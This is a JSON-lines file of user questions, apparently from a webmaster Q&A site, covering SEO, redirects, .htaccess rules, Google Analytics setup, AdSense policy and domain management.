{"id":"16735","title":"Mobile URL strategy","text":"I am going to be using jQuery Mobile to create a mobile version of my site. My question is about the best practice on the location of the mobile site, specifically, the URL. I am looking into two options: 1. Just detect whether the user is mobile and serve them a mobile template, no need for a separate URL for the mobile site. For example, mysite.com\/foo\/bar would have a mobile and desktop version of the page. My site uses HTTP cache and this would complicate things... 2. Have a mobile URL (m.mysite.com). I prefer this method as I see this in a lot of places (ie m.facebook.com). My hesitation is with SEO, isn't duplicating content bad? Any insights, thoughts, comments on my dilemma? Is there a strategy I am missing?"}
{"id":"57248","title":"Apple and Google Mobile Apps stores, does accepts duplicated app names?","text":"Suppose my android and ios app is actually named **damnit** and it allows users to connect to their friends Now in google play store and apple apps store there is an app called \"damnit\" that is not mine and it is a urban dictionary. Now, what if i submit my app with same name into both google and apple stores? Will be rejected?"}
{"id":"16730","title":"Can outbound links increase PageRank?","text":"We all know that the backlinks increases the pagerank of a website. Do outbound links affect PageRank?"}
{"id":"57243","title":"Is \"Redirecting via DNS\" a good practice for positioning a website?","text":"In order to position a website project I'm planning on getting 3 domain names (`example.com`, `example.org` and `example.net`). Whenever a user goes to \"`example.org`\" or \"`example.net`\" he\/she would be redirected to \"`example.com`\". All redirection methods I have used are via JavaScript or PHP and not long ago I found out it can be via DNS settings with the domain registrar company. **Now my question:** Is it a good SEO practice redirecting via DNS? (Would not it be better to have some content on these two websites (\"`.org`\" and \"`.net`\"), like a link pointing to \"`example.com`\", and then redirect using JavaScript or PHP?) In general (considering other topics like security, performance, etc), is it a good practice redirecting via DNS?"}
{"id":"48363","title":"I want to write tutorials on web development","text":"So I have been reading a lot of books on web development and have made more than a few dynamic websites. Now, I want to create tutorials for people just like all the many free tutorials on internet and youtube. Since I learned only from books and online tutorials, I am afraid I might use some of their code or at least their method of making something. So what are the rules in this? Any place you know where I can get some advice on this? Thank you."}
{"id":"12025","title":"Is it ok to have an Adsense ad in each post, showing full view?","text":"I have searched online, and can't find a concrete answer, would this be breaching the Adsense rules? I have a Wordpress site with a youtube video custom post type. When a query is run, it will display all posts in full view, which is basically a youtube video, a few lines of text and hopefully an Adsense text ad at the bottom. I was then planning on having a couple ads on the sidebar. The problem is i'm not sure if that is breaking the Adsense rules, because the query will show multiple posts (more than 3). However, there isn't a \"page\" that would have more than 3 on it. Would the query results be a \"page\" and subject to 3 total ads?"}
{"id":"48326","title":"How to make client side and server side communicate?","text":"I have apache installed, and I would like (using php\/and or javascript, html) to do the following but I do not know how. 1. To send my client to the server a value x 2. The server to increase x by one and to send it to client 3. Client divides it by two and sends it to server 4. server send the h((x+1)\/2) back to client How I can do that?... I am confused as I do not know how to make a server and a browser to communicate. |However, I do not thing that it is very difficult... Thanks in advance"}
{"id":"23900","title":"Configure apache to make local website available for external people","text":"I would like to make my local website (running on a virtual CentOs machine) accessible for my mate who is also working on the website. I have created a new line in my router config to forward all requests on port 8080 to my centos machine. I've setup apache to listen on port 8080 as my ISP blocks port 80. I've setup my VHosts to use port 8080. When my mate now tries to go to http:\/\/my_external_ip:8080, he can see my apache welcome page. I've asked him to enter this in his hosts file. my_external_ip www.my_local_domain_name.com When he types that url into his browser, the site doesn't load. What could this be?"}
{"id":"42798","title":"Are there any Google's Products \/ Services, where I can ask for refund, if a person is not satisfied?","text":"Are there any Google's Products \/ Services, where I can ask for refund, if a person is not satisfied? I want to use google services as I feel, google is required for running any business?"}
{"id":"42797","title":"Amazon s3 webmaster privacy","text":"If I am hosting a site on Amazon Web Services, how easy is it for someone to work out that I'm behind it, for example if it's a controversial campaign issue. WHOIS privacy with the domain registrar gives some degree of protection, but I wonder if a sleuth could trace the administrator of S3 buckets. And are there any measures I can take to avoid this, to achieve some level of anonymity?"}
{"id":"36436","title":"What are some good pages to redirect users to if they are using an old browser?","text":"Such as this one: http:\/\/www.webstandards.org\/upgrade except it's just awful and is way out of date (use Netscape 7? really?) I am going to require IE9+ and the latest versions of the rest of the browsers. Thanks."}
{"id":"223","title":"How Do I Upload Pages To The Server?","text":"I've heard of FTP but I'm not exactly sure how to use it. What's the best way to get pages from my computer to the server?"}
{"id":"220","title":"How do you direct iPhone\/Android browser to m.example.com?","text":"I have some special coding that only works for HTML5 browsers (simple geolocation stuff). I want to redirect iPhone and Android users to the m.example.com version of my website. How is the best way to do this?"}
{"id":"65405","title":"Does Google index images in anything other than an img tag?","text":"I was thinking of making a 'load on scroll' image gallery plugin, i.e. I do not want the image to load until it is in view in the viewport. That got me thinking in terms of implementation. I don't want to use markup that would mean that the images were not indexed by Google, but the question is, what can you do? You can't have img tags but then stop the files from being loaded because that defeats the purpose completely. You could not care about the markup and use `image site maps` instead, but that makes life harder for the person using the plugin. **What, if anything, can one do?**"}
{"id":"43845","title":"Selling my primary GoDaddy domain. Recommendations on how not to not break things?","text":"My father and I are selling our family business and with it, our domain name. We are not selling the website or the hosting itself. The domain and is registered AND hosted on GoDaddy, with one subdomain and a number of other domains hosted under that account. We are only selling\/tranferring the primary domain. In addition, we have a secondary domain name which is currently redirected to the primary. What I'd like to do is: * Unlock `Mopedepot.com` so it is ready to transfer. I have done this. * Get the transfer key ready. I believe I have this too * Get anything else ready that might be needed. (Unknown) * Transfer the domain without breaking any of the existing sub sites I have * Set up `50cccycle.com` as my primary domain * For a time, have email send to `mopedepot.com` sent to both domains until all of the incoming email stuff has been updated. Any suggestions or gotchas I should be aware of?"}
{"id":"43842","title":"Apache Rewrite to folder no longer working after server upgrade","text":"The following were both working perfectly for the last 2 years but after a server upgrade the first, with an extra folder is no longer working: RewriteCond %{HTTP_HOST} ^www\\.mayoaccommodation\\.com$ [OR] RewriteCond %{HTTP_HOST} ^mayoaccommodation\\.com$ RewriteRule ^(.*)$ http:\/\/www.mayo-ireland.ie\/accommodation\/$1 [P] RewriteCond %{HTTP_HOST} ^www\\.mayobb\\.com$ [OR] RewriteCond %{HTTP_HOST} ^mayobb\\.com$ RewriteRule ^(.*)$ http:\/\/www.mayo-ireland.ie\/accommodation_bb.htm [P] Has there been a change in the rewrite module?"}
{"id":"67868","title":"New Google SEO benefit with SSL - with only a few sections in SSL, or always on?","text":"Google just announced that SSL will affect site ranking positively: http:\/\/googlewebmastercentral.blogspot.se\/2014\/08\/https-as-ranking-signal.html I have an Easter Island tourist agency called Easter Island Traveling for which I had planned doing a subdomain (secure.*) for doing sales, logins etc. Now, does Google want my SSL to be on for all of my site to have this SEO benefit? This would be quite radical by Google, since it would affect my site speed negatively. Or is it enough that I have SSL on a part of the site only? Thoughts?"}
{"id":"49555","title":"2013. Do I need to care about HTML entities?","text":"I'm wondering if I should go out of my way and replace all chars like `ÜÖÄ` on my site. I understand that PHP can get these wrong, but is there an actual reason, why I need to put them out as HTML codes, even on pure `.html` sites? Basically what is there to gain, and should I care? Also is it possible that not using or using them has SEO implications?"}
{"id":"21620","title":"ASP.NET MVC SEO friendly URLs and Sitemap","text":"I've created an ASP.NET MVC 3 application and generated sitemap.xml using some free online tools. It contains the following URLs: http:\/\/www.mydomain\/ http:\/\/www.mydomain\/About http:\/\/www.mydomain\/Portfolio http:\/\/www.mydomain\/Contact http:\/\/www.mydomain\/Sitemap But when I uploaded sitemap.xml to Google Webmaster tools, I got these numbers: URLs submitted: 5 URLs in web index: 1 Do I have to change http:\/\/www.mydomain\/About to http:\/\/www.mydomain\/About\/ in order to get all URLs into the web index or..?"}
{"id":"49553","title":"Google is displaying \"Translate this page\" based on a previously registered domain inbound links","text":"I recently started a new project with a newly registered generic tld domain. As soon as Google started indexing the page, it displayed a \"translate this page\" in SERP's, which tries to translate the page to the language of a small Eastern European country from the language that the site actually uses. I tried everything to prevent this: language meta headers and attributes, localisation through Google Webmaster Tools...all to no avail - nothing helped. After a couple of weeks I spotted dozens of inbound links popping up in Google Webmaster Tools all coming from that small Eastern European country, from sub- pages that are not active anymore (either sending out 404's or 301's to the main page), and also had been written in that other language. So the domain had been registered before and as it looks, it did got a lot of possibly spam links in that language. I can't even ask the sites where those links should have been to remove them as they are not active anymore physically, just in Google Webmaster Tools and\/or internal data masses... Now I'm at a loss about what to do? As my site is pretty new, it does not have many links pointing towards it in my targeted language. So those are probably not enough to convince Google of attaching the right language to it as Google ignores all other signals about the page language. I'm also unsure if I should use the \"disavow\" tool, or a reconsideration request...or what else to do about this miserable state. I never used these tools before so I don't have any experience with them. Somehow I have to convince Google about the right language of the page and also to not count\/apply\/whatever all those historical links from the previous owner. (The domain had been deleted without any traces in Google before I registered it) Has anyone here ever dealt with a similar \"Translate this page\" problem? (I've also looked at this thread: How can I prevent Google mistakenly offering to translate a page? but didn't find a solution there)"}
{"id":"63077","title":"CSS color marked as invalid by code inspector","text":"On this page, there is a \"read more...\" link towards the end of the page, enclosed in `<span id=\"s-hpi\"><\/span>` There is CSS: #s-hpi { color: 0000FF; cursor: hand; } but Chrome code inspector says both these rules are invalid. Why? Thanks."}
{"id":"51516","title":"How to prevent webpages translated with Google Translate Plugin from being indexed?","text":"I've been reading the information here https:\/\/support.google.com\/translate\/#2534535 about the Google Translate plugin. At first I thought that if I used the plugin my site wouldn't be indexed, but then I can see that the following quote > The automatically translated version of your web page will not be indexed by > search engines. is actually referring to Google Translate and not the plugin....or at least that's what I think. **QUESTIONS** 1. I'd like to confirm whether or not websites that use the Google Translate Plugin are indexed. 2. If the answer is yes, then I'd like to know how to stop these translated pages from being indexed. I've read that you can use robots.txt to prevent it, but I'd really like to see an example of how to implement this- I'm confused as to what the translated url would be. **EDIT** Just to be clear, I don't want the translated content to be indexed. I still want the original content to be indexed!!!"}
{"id":"21629","title":"Software for Managing Subscriptions to Website Content?","text":"Can you recommend a package that allows me to manage subscriptions to certain content on my website (not necessarily displayable) based on payment levels? Ideally, the software would allow logging in using both site-specific registration _and_ PayPal\/Facebook\/Twitter\/MyOpenId, etc. Preferably, it would also be open source, LAMP-based. One idea that I have in mind is hacking a shopping cart software like Zen-Cart but this may be an overkill if a non-shopping lighter-weight package exists."}
{"id":"63071","title":"Placing likes, pluses and other social sharing things on the pages where they not likely to be used","text":"I just checked the pages from best-of-industry sites and not all of them has lots of likes, pluses and so on. I reasonably expect that the pages of my site will have even less. I can expect that the null (or very little of) likes can be a bed signal to Google and Co and it would be better to skip it at all on the pages where users not really will use this signals. Any thoughts?"}
{"id":"20914","title":"Search Engine Friendly URLs with Query String","text":"I have content that can be accessed from various ways. For example my content is **reviews** and I have three type of reviews: \/customer-reviews\/11\/slug.html \/third-party-reviews\/11\/slug.html \/products\/99\/reviews\/11\/slug.html Another example would be **products** which can be viewed in ways: \/products\/11\/index.html \/categories\/99\/products\/11\/index.html \/suppliers\/99\/products\/11\/index.html The thing to note is that that each set of pages is fed from single table (reviews and products respectively). Now most websites have single URL for same piece of content regardless of the \"view\". E.g. Christian Bale's IMDB profile is `http:\/\/www.imdb.com\/name\/nm0000288\/` whether you were looking at The Dark Knight's cast or looking for popular people born on January 30. So for my website I plan to use URLs like these: \/reviews\/11\/slug.html?view=customer \/reviews\/11\/slug.html?view=third-party \/reviews\/11\/slug.html?view=products&id=99 \/products\/11\/index.html?view= \/products\/11\/index.html?view=categories&id=99 \/products\/11\/index.html?view=suppliers&id99 Depending on the view parameter, I'll show a \"breadcrumb\" that takes the user back to where he came from and provide some kind of visual indication of the hierarchy hierarchy. Is this good or bad approach. And is there a better solution?"}
{"id":"23576","title":"Web server specifications for online Text-based web game","text":"I am developing an **online text-based game** similar to Mafia wars. Of course I won't expect 20 million players on my site, but I want to choose a web server that is suitable for me. I am a complete amateur when it comes to hosting a website. I need the minimum specifications for a web server to host my game. Let's say about **12000 users** will register to my website and I expect **1000 users** to be online at any given time. Since it's a game you would expect **many database transactions and Ajax calls** in which speed will prove essential. So what should I ask for in a web server **(processor, storage, bandwidth,...etc.)** and their values. Thanks in advance. PS: I use PHP (zend framework) on a mysql database + JQuery and CSS3."}
{"id":"59074","title":"If Google bot have any difference between singular and plural keywords","text":"If I use plural keywords in title, then the search result may take the same keyword as singular too ?"}
{"id":"49083","title":"Permanent redirect domain to www subdomain without web.config","text":"I've just set up a site via 1and1 and have run into an issue, I want to accomplish the simple task of redirecting the root domain to the `www` sub domain however due to complications I cant seam to find a way to get it to work. I'm on a Microsoft (asp.net) package so can't use _.htaccess_ , also the IIS server they have doesn't have the URL redirect module installed (so can't use `<rewrite>` in web.config). They have built in HTTP forwarding options however if I set the root domain to redirect to the `www` sub domain it just infinitely redirects. Hopefully there is some obvious option\/method I've missed during the past two days of searching!"}
{"id":"55595","title":"Move domain away from a host while leaving the Exchange email service unaffected","text":"I currently have a domain registered with Fasthosts and are using their Exchange email service on this domain. For various reasons I would like to move the domain registration to another domain host, but I want to leave the Exchange email service on Fasthosts operational. I know I can do it from scratch with the domain being hosted elsewhere, but I'm concerned that if I move the domain away then all associated services will be terminated. Is there a way to do this and if so how?"}
{"id":"45412","title":"Does the payment due to the ads placed on our site gets low to some extent due to adblock extensions?","text":"I am new to ads and payments, Today I realized that even I use the adblock extension on Google Chrome, so now if the visitor of my site also use this extension, then is my earning affected by that extension?"}
{"id":"45415","title":"Interpretation of Goals relative to Visits and Pageviews in Google Analytics","text":"I am stumped on some of the data I am seeing. The image below summarizes the data that I am pulling from the API into Tableau.  In GA, we have the URL goal setup for the page shown. I am confused on how the following situation exists: 1. How can 121 visits generate 483 pageviews and 420 goals (unique pageviews)? The way that I interpret the results: * the url shown was seen over 121 visits but viewed 420 unique times. I simply don't get how that is possible."}
{"id":"59797","title":"Pipes or colons in HTML title tags?","text":"Other than esthetics, are there any valid reasons to choose pipes vs colons in an HTML `<title>` tag, or vice-versa? Usability? SEO? Example: <title>Example.com | Top 10 list of stuff<\/title> or <title>Example.com: Top 10 list of stuff<\/title>"}
{"id":"44442","title":"Are 307 Temporary Redirects safe for temporary new web site tests?","text":"Our current site is getting close to being replaced. I was looking to do a test of our new sales funnel on the new site and compare the traffic and conversion ratios for a few days. So I was planning on doing 307 Temporary Redirects from the old site to the new site for a few days and see how the traffic reacts before a hard launch. I've seen some topics online of people doing something similar and being penalized by google can someone tell me if this is a safe way to approach this task? If not are their any alternative ways you would recommend. We are going from a manually coded 2006 website to a new wordpress site all php\/MYSQL. Any insights or recommendations welcome."}
{"id":"33345","title":"Options for different domain and hosting","text":"# The situation I have a hosting service (one.com) on which I have installed a wordpress.org site in a subdirectory 'wordpress': myhost.com\/wordpress\/ (myhost.com is actually my own domain, but it already has contents and I don't want wordpress\/ to appear in the root of that domain.) I want to use a second domain for this site. Thinking I would be able to forward to the wordpress site without problems, I registered the domain at GoDaddy.com: mydomain.com # What I want So when my visitors type in mydomaind.com, I want them to see the contents on myhost.com\/wordpress\/, and the same for all subpages (mydomain.com\/a\/subpage fetches from myhost.com\/wordpress\/a\/subpage). Just a redirect isn't enough, I want my visitors to see only mydomain.com as their domain. # Some notes * If I set up forward _with URL masking_ at GoDaddy, they just give a full frame, pointing to myhost.com\/wordpress\/. This isn't good enough for me, since mydomain.com will always show up in the adress bar, also for subpages (I want mydomain\/a\/subpage to show in the adress bar for a subpage). * I believe this could in principle be done with a .htaccess file with URL rewriting, but I have no hosting with GoDaddy so I can't upload such a file there. Hosting with GoDaddy is very expensive (of course) so I don't want to do that. * I don't think I can use DNS settings; the host of mydomain.com says they don't allow anyone else to point to their name servers. * If possible, I wouldn't want to re-install the wordpress site, it would take quite some time. I'd prefer to keep it at myhost.com\/wordpress\/ (if possible) * Anything involving transferring the domain is supposed to take 5-7 working days. I would need my site up-and-running earlier than that, so I'd like to avoid it if possible. # Am I locked in? As it seems, I am rather locked-in with GoDaddy. I can't use the domain with .htaccess since I can't upload such a file (and won't pay for hosting by GoDaddy). I can't use any of their forward options since none of them do what I want (one just forwards, the one that masks the URL does it with frames). Would you agree? # Possible solutions * Transfer the domain to any hosting service with reasonable hosting pricing, as opposed to GoDaddy (I'd probably use one.com, the same host as for myhost.com, in that case), and there either * re-install wordpress on the new account, or * use .htaccess with URL rewrite on the new account to fetch the contents from myhost.com\/wordpress\/. Can this be set-up to work with sub-pages as well? And visitors won't ever see \"myhost.com\/wordpress\", just \"mydomain.com\"? E.i., mydomain.com\/a\/subpage\/ wold fetch from myhost.com\/wordpress\/a\/subpage\/? * This might be a long shot but: * Find some free (preferrably) hosting allowing to point to their nameservers * Make DNS settings at GoDaddy so that my domain appears at the site above * at that site, put a .htaccess file with URL rewriting to forward to myhost.com\/wordpress\/ Could this be possible? What services could I use in that case? As I see it, this would be the only way not to have to transfer a domain (taking 5-7 working days) _and_ not having to re-install the wordpress site. Sorry for the long question. All info and ideas are welcome."}
{"id":"61274","title":"GA tracking utm query params after hashbang","text":"We currently use a hashbang for the portion of our site that generates dynamic content which can also be deep linked. Our analytics team wants to use utm params to track the referral traffic from social networks. We are using Universal Analytics (analytics.js) as well as GTM. Will GA pick up the query parameters after the hashbang or does it always have to go before? For example: example.com\/#!\/some\/content?utm_source=foo&utm_campaign=bar example.com?utm_source=foo&utm_campaign=bar\/#!\/some\/content In #1, I'm concerned that the utm params won't be recorded and in #2 the page will break or the url could be incorrectly written. How does GA pull in those parameters - location.search? regex? Can I get away with using either?"}
{"id":"2509","title":"How to handle moderators effectively?","text":"I've been running\/developing browser based games for several years now, and the one complaint I get over and over is that the mods are terrible. I even did a survey recently, and while my support ticket response time is only a couple of hours, the rating of customer service severely suffered, specifically due to the dislike of how the moderators handle things in the game (chat, forums, etc). I'm wondering if this is just how it is with these type of things and that the people speaking out are just the trouble-makers (which I know this is obviously some of it). I really want my customer service to be known as high quality, but there's no way to get there without improving the moderation situation. I hear everything from mods being \"tyrannical\" to abusing power to not doing anything and playing favorites. I have selected highly regarded players in the games that have been around a long time and volunteered to do the job. I've got rules outlined that the moderators are supposed to enforce. What else can be done to improve the situation?"}
{"id":"64955","title":"Issues granting access - Google Analytics","text":"I am the administrator of my company's Google Analytics account, but was recently asked to give a client access to their Google Analytics data. Whilst I fully understand the new permissions structure Google has put in place, I've put the email address along with all the correct permissions but the client tells me they are being greated with a message stating that they \"are unable to access Google Analytics because they don't have the correct levels of permission\". I've granted them the right to Edit, Collaborate, Read & Analyze but they still have the same issue. I am definitely using the client's correct email address and they're also using Gmail so that can't be the fault either."}
{"id":"64957","title":"Can I create a div to display web content from another website?","text":"Let's say my homepage is www.example.com and I want to add a div on it. When people visit my page, I want to show the content from www.google.com within the div. When visitor clicked any link on www.google.com, it redirects user all within the div. Is it possible to do? If so, how?"}
{"id":"49331","title":"Will Google crawl session based website","text":"I have a website, it is split into 3 categories but using PHP its an all-in one kind of style. When a user chooses a category on the home page a session is set, this is then used to set the style and contents of the website. Would Googlebot and other bots be able to still scan my website? If a page is accessed and no session is set then the user is sent back to the home page. I have created special links, that set a session but go straight to the contact page. Even this page doesn't seem to be showing up. Any ideas if a sitemap with specially crafted links (to set the session) will help Google?"}
{"id":"49334","title":"Why does my sitemap have a \".gz\" extension, and how can I edit it?","text":"An XML sitemap generator plugin for WordPress puts the following strings in my _robots.txt_ file: User-agent: * Disallow: \/wp-admin\/ Disallow: \/wp-includes\/ But other WordPress blogs have lots of tags included in it. Also, my XML file's sitemap name looks like this: `sitemap.xml.gz`. How do I add other possible parameters in my _robots.txt_ file? Is the XML file `sitemap.xml.gz` name valid, and what is the difference between a `.xml` and `.gz` extension?"}
{"id":"49885","title":"Google AdSense scorecard : Text and image ads enabled is marked as Yellow","text":"Start with definitions: **Yellow:** Satisfactory. You could make some further improvements to this item. I have few sites using Google AdSense to make cents (yes, cents only). On recent update of Google AdSense, a new module called Scorecard displayed on my dashboard. In item **Revenue optimization > Text and image ads enabled** , it is marked as Yellow. But I have already enabled Text and Image ads in all my sites. Why does it still having Yellow instead of Green? Is it a bug of Google AdSense Scorecard ?"}
{"id":"61270","title":"What is the proper way to send a DMCA to a hosting company?","text":"Someone copied my entire website and is hosting it at a domain name similar to ours. That website's content is copyrighted to the website which we have been running for years. Each and every image, logo (including our company logo), content, link, graphic and layout have been copied. You could say the copied site is a perfect replica, just in a different domain. The identity of the \"alleged robber\" has been blocked by PrivacyProtect. I've sent emails with proof of the theft to `abuse@privacyprotect.org`. But each time they respond telling me that they cannot disclose the identity of the thief even though they say in their website that they will disclose the identity of any person who commits such illegal activities. Now PrivacyProtect is protecting his identity, whether they mean to or not. After hours of Googling, I found I need to send a DMCA take down notice to the host provider to take action. I would like few of my doubts to be cleared before send DMCA notice. What is the format of sending DMCA take down notice to the host provider in this case? Can I just type in the DMCA notice in an email or attach as a PDF in an email? Should I need a lawyer to send it or I can send it myself? Do I need any other attestation in the DMCA like attestation from notary public or judicial magistrate?"}
{"id":"17175","title":"Google+ Style \"Send Feedback\"","text":"Does anyone know a service that offers a google+ style feedback system? It seems that it would be a great way to get feedback from users. If you have not seen it before. I've attached a screen shot. It allows users highlight the problem and also blank out parts thy don't want to show. "}
{"id":"68101","title":"Create MediaWiki template to format source code","text":"I want to create a MediaWiki template like <syntaxhighlight lang=\"Java\" style=\"background-color:lightgray; border:1px dashed gray;\"> {{{code}}} <\/syntaxhighlight> and use it in normal article pages as {{SourceCode|source=public static void main() {...}}} but the problem is the `<syntaxhighlight><\/syntaxhighlight>` tags defeats `{{{code}}}` parameter, and the actual formatted result is <syntaxhighlight lang=\"Java\" style=\"background-color:lightgray; border:1px dashed gray;\"> {{{code}}} <\/syntaxhighlight> instead of <syntaxhighlight lang=\"Java\" style=\"background-color:lightgray; border:1px dashed gray;\"> public static void main() {...} <\/syntaxhighlight> Any idea?"}
{"id":"64922","title":"Prevent AdSense from warning me when my ad code appears on unauthorized sites?","text":"On the advice of my AdSense optimization specialist, I enabled the setting in Google AdSense that prevents my ads from showing up on sites that I haven't authorized. This is evidentally important because your account can be revoked if the ads show up on sites that don't conform to Google's AdSense Policies. One big downside to this is that there is a list of about 80 third party sites that show my ads. Most of them are sites that cache my content in some form. Now when I log into my AdSense account Google shows the message: > We've noticed your ad code has appeared on websites you haven't authorized. > To avoid lost revenue, make sure to authorize any sites you own to display > ads by visiting your account settings. Is there any way to make this message disappear other than authorizing these sites? This alert is getting on my nerves. I haven't been able to find a black list equivelant of Google's authorized sites white list. "}
{"id":"59597","title":"Proper SEO when dealing with duplicate content\/article","text":"I have a blog post I wrote which another site wishes to post on their site, verbatim. I know having identical content is an SEO \"ding\". Is there a way to tell Google that the new site is referencing the old site? Such as a meta tag for \"source_url\" or something like that? Or should the new place simply just add a few lines or a graph at the top stating this is copied from a previous blog? Is that enough to satisfy Google's bot?"}
{"id":"60474","title":"Legal pages showing up in our Google Sitelinks","text":"Our Terms of Service page (oursite.com\/terms) is persistently showing up as the first of our Google Sitelinks, despite repeated demotions over the course of many weeks and the fact that we have plenty of other pages that are relevant and worthy of being Sitelinked. It's driving us nuts, especially since one would assume Google's algorithms would be smart enough to identify boilerplate legal pages... Anyway, we're thinking of noindexing the page. Anyone have a better idea, or think this is a bad one?"}
{"id":"60472","title":"Will wrong or incomplete Microdata harm my SEO?","text":"What if I am missing parts of my Microdata? I will use a blog article for example. The recommended markup is: <div itemscope itemtype=\"http:\/\/schema.org\/Article\"> <span itemprop=\"name\">How to Tie a Reef Knot<\/span> by <span itemprop=\"author\">John Doe<\/span> This article has been tweeted 1203 times and contains 78 user comments. <meta itemprop=\"interactionCount\" content=\"UserTweets:1203\"\/> <meta itemprop=\"interactionCount\" content=\"UserComments:78\"\/> <\/div> Now let’s say that I quickly want to switch this article to be a recipe, but I don’t add additional tags (like here http:\/\/prntscr.com\/38fwyk) and only change the `itemtype`: <div itemscope itemtype=\"http:\/\/schema.org\/Recipe\"> <span itemprop=\"name\">Burgers<\/span> by <span itemprop=\"author\">John Doe<\/span> This article has been tweeted 1203 times and contains 78 user comments. <meta itemprop=\"interactionCount\" content=\"UserTweets:1203\"\/> <meta itemprop=\"interactionCount\" content=\"UserComments:78\"\/> <\/div> Would this actually harm my SEO?"}
{"id":"38573","title":"Using subdomains for niche SEO","text":"Simple question: If I have a website offering website themes and I set up subdomains like builder.themes.com, artist.themes.com would that be more beneficial than having totally separate sites or less? I know a subdomain is classed as its own site and doesn't inherit the main site's page rank but if these niches are all aimed at having a theme...what's best?"}
{"id":"38570","title":"Meta keywords random keywords","text":"I was wondering what about having random meta keywords instead of fixed one? I have a blog, so every blog post has some related tags, in my home page i show the post's previews, so i put in meta keywords all the main blog post's tags i show. Is it a good practice?"}
{"id":"55581","title":"Content vote system with IP verification and dynamic IP adresses","text":"### Description: I have two types of vote system on my site. First of them is for all users and store IP adress to prevent more than one vote. Second is for authenticated users only, which also store nickname. ### Problem to solve: Dynamic IP adress will change in about 24 hours with second type of vote system it doesn't really matter because of stored nickname but in first case IP is the only data about user action. There is chance that User 1 which had IP `X` yesterday have now adress `Y` and cannot vote today because User 2 had `Y` IP a day before and already \"locked\" row in database. According to this User 1 cannot vote on content despite of he\/she should been able to do it. ### Question: Should I delete all IP adresses in first and\/or second case of vote system due to dynamic IP technology (at least once per 24h)?"}
{"id":"60478","title":"Best practise for a web designer after a client's website is hacked?","text":"Our client's website content was hacked with text that promotes gambling and 'binary options' websites. Examples are: > \"If you are looking for binary or forex trading or brokers have a look at > this binary options website\" > > \"Looking for legal casino site? Have a look at this casino sites for full > list\" My question is, do the gambling sites authorize these hacks? Our client says that one of the pieces of text links off to a website. Our client would like to know if we need to contact these sites and inform them that bots have added links to their sites onto our site."}
{"id":"9515","title":".htaccess: Redirect Hotlink Flash --> Site with embed Flash","text":"I have some PHP sites that embeds SWF files. These SWF files are now linked to by some other guys. And I don't want them to simply open the SWF, I want them to force being redirect to the page where the flash is embed. 1. `www.example.com\/1` 2. `www.example.com\/2` 3. `www.example.com\/3` Flash: `www.example.com\/flash\/flash_NUMBER.swf` So for `www.example.com\/1 > www.example.com\/flash\/flash_1.swf` **I now want to redirect the user who types `www.example.com\/flash\/flash_1.swf` into his URL to be redirect to `www.example.com\/1`. The Problem I have that the flash needs to be still accessible via `www.example.com\/1` <-- I don't get that working (the Flash is embed into that page). The tool I would like to use for this is the .htaccess & RewriteRule. I hope someone can help me out."}
{"id":"53964","title":"Tack anchor link with Google Analytics","text":"I have searched for how to track anchor links in analytics, but couldn't get it working. I have this code in the header: <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('_setAllowAnchor', true); ga('create', 'UA-*******-1', '****.com'); ga('send', 'pageview'); <\/script> And my links looks like this: <a href='#\/contact'><span>Contact<\/span><\/a> I also tried to use this links: <a href='#\/contact' onClick=\"_gaq.push(['_trackPageview', location.pathname+location.search+location.hash]);\"><span>Contact<\/span><\/a>"}
{"id":"9516","title":"Do print and bookmark links really work?","text":"It seems to be common on the web to provide users with some visual element on the page to either print or bookmark a page. This is all well and good (and probably doesn't hurt for the most part), but I question its effectiveness at causing the intended behavior. Is there any evidence to suggest that this causes an increase in bookmarking\/printing behavior? Similarly, is there any evidence that users will use this method _rather than_ the browser's default interface for the functions? I am really looking for user research with actual results, rather than anecdotes to answer this question. Thanks, Joseph Mastey"}
{"id":"9511","title":"Redirecting a CSS file based on .htaccess rules","text":"I'm trying to hack the css files on OSTicket by replacing them with my own custom ones when a specific URL is accessed. The URL that is accessed for this example is http:\/\/osticket.cts\/helpdesk\/scp\/css\/main.css and I would like it to use the css file at http:\/\/osticket.cts\/test.css why won't this .htaccess file (in web root, not \/helpdesk\/scp\/) work? Is there an easy way to debug these rules, some way to find out what apache did when the URL was accessed and where it's failing? error.log doesn't show anything useful. RewriteEngine On RewriteCond %{HTTP_HOST} ^osticket\\.cts$ [NC] RewriteRule ^(.*)main\\.css$ \/test.css [NC, L]"}
{"id":"53747","title":"Sub Domain Anaytics Tracking","text":"I have a WordPress multisite with two sites. One at the main domain, and one at a sub-domain. I have Google Analytics running on both sites, and it is turned on to track sub-domains. See screenshot:  I have this piece of javascript on each site in header.php: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'my-UA-code']); _gaq.push(['_setDomainName', 'andy-warren.net']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> I'm getting data in Analytics, but I don't know how to differentiate between the domain and the sub-domain. Am I missing something in the settings or piece of tracking code? Or can I just somehow choose to see the domain or sub-domain in Analytics?"}
{"id":"9513","title":"htaccess execution order and priority","text":"Can anyone explain to me in what order apache executes .htaccess files residing in different levels of the same path and how the rewrite rules therein are prioritized? For example, why doesn't the rewrite rule in the first .htaccess below work and is the one in \/blog prioritized? .htaccess in \/ RewriteEngine on RewriteBase \/ RewriteRule ^blog offline.html [L] .htaccess in \/blog RewriteEngine On RewriteBase \/blog\/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/blog\/index.php [L] Ps: i'm not simply looking for an answer but for a way to understand the apache\/modrewrite internals ... why is more important to me than how to fix this :) Thanks!"}
